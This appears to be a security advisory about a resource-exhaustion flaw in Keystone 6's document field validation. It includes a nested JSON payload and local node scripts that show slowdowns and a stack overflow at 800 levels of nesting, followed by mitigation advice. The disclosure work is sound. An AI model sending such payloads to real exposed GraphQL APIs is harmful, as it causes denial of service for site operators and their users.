Document field validation can be abused for resource exhaustion

Summary

Document input validation and normalization traverse the full document without explicit depth or size limits. Large or deeply nested documents can cause high CPU/memory usage.

CVSS

CVSS v4.0 Base Score: 5.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L)

Affected Packages

- @keystone-6/fields-document

Affected Versions

- Keystone 6.x (main branch behavior)

References

- fields-document index.ts
- validation.ts

Preconditions

- A list uses the document field.
- The GraphQL API is exposed to untrusted users.

Blackbox Test Steps

1. Submit a document payload with extreme depth or size through the public GraphQL API.
2. Observe CPU spikes or timeouts during validation and normalization.

Blackbox Payload (deep nesting)

```
[
  {
    "type": "paragraph",
    "children": [
      {
        "type": "paragraph",
        "children": [
          {
            "type": "paragraph",
            "children": [
              {
                "type": "paragraph",
                "children": [
                  {
                    "type": "paragraph",
                    "children": [
                      { "text": "x" }
                    ]
                  }
                ]
              }
            ]
          }
        ]
      }
    ]
  }
]
```

Observed Behavior

- Validation and normalization run on the entire tree.
- Very large inputs can cause high CPU or memory usage.

Verification (local)

```
pnpm -C packages/fields-document exec node --import tsx -e 'const {
validateAndNormalizeDocument } = (await import("./src/validation.ts")).default; const
documentFeatures={ formatting:{
inlineMarks:{bold:false,italic:false,underline:false,strikethrough:false,code:false,superscrip
t:false,subscript:false,keyboard:false}, listTypes:{ordered:false,unordered:false},
alignment:{center:false,end:false}, headingLevels:[],
blockTypes:{blockquote:false,code:false}, softBreaks:false }, links:false, dividers:false,
layouts:[] }; const relationships={}; const componentBlocks={}; const makeDeep=n=>{ let node={
type:"paragraph", children:[{ text:"x" }] }; for(let i=0;i<n;i++){ node={ type:"paragraph",
children:[node] }; } return [node]; }; const depth=200; const doc=makeDeep(depth);
console.time("validate"); const out=validateAndNormalizeDocument(doc, documentFeatures,
componentBlocks, relationships); console.timeEnd("validate"); console.log({depth, nodes:
out.length});'
```

```
validate: 595.971ms
{ depth: 200, nodes: 1 }
```

```
pnpm -C packages/fields-document exec node --import tsx -e 'const {
validateAndNormalizeDocument } = (await import("./src/validation.ts")).default; const
documentFeatures={ formatting:{
inlineMarks:{bold:false,italic:false,underline:false,strikethrough:false,code:false,superscrip
t:false,subscript:false,keyboard:false}, listTypes:{ordered:false,unordered:false},
alignment:{center:false,end:false}, headingLevels:[],
blockTypes:{blockquote:false,code:false}, softBreaks:false }, links:false, dividers:false,
layouts:[] }; const relationships={}; const componentBlocks={}; const makeDeep=n=>{ let node={
type:"paragraph", children:[{ text:"x" }] }; for(let i=0;i<n;i++){ node={ type:"paragraph",
children:[node] }; } return [node]; }; const depth=800; const doc=makeDeep(depth);
validateAndNormalizeDocument(doc, documentFeatures, componentBlocks, relationships);'
```

```
RangeError: Maximum call stack size exceeded
```

Impact

Untrusted users can trigger request-level denial of service by submitting oversized documents.

Mitigation Guidance

- Enforce maximum document depth/size at the API boundary.
- Reject large payloads early before normalization.

Whitebox Analysis

- The document field input resolver always invokes `validateAndNormalizeDocument` for provided JSON, with no size limit. fields-document index.ts
- Validation and normalization traverse the entire tree. validation.ts

---

Revision #1
Created 2026-03-15 18:51:07 UTC by Aryma
Updated 2026-03-15 18:53:01 UTC by Aryma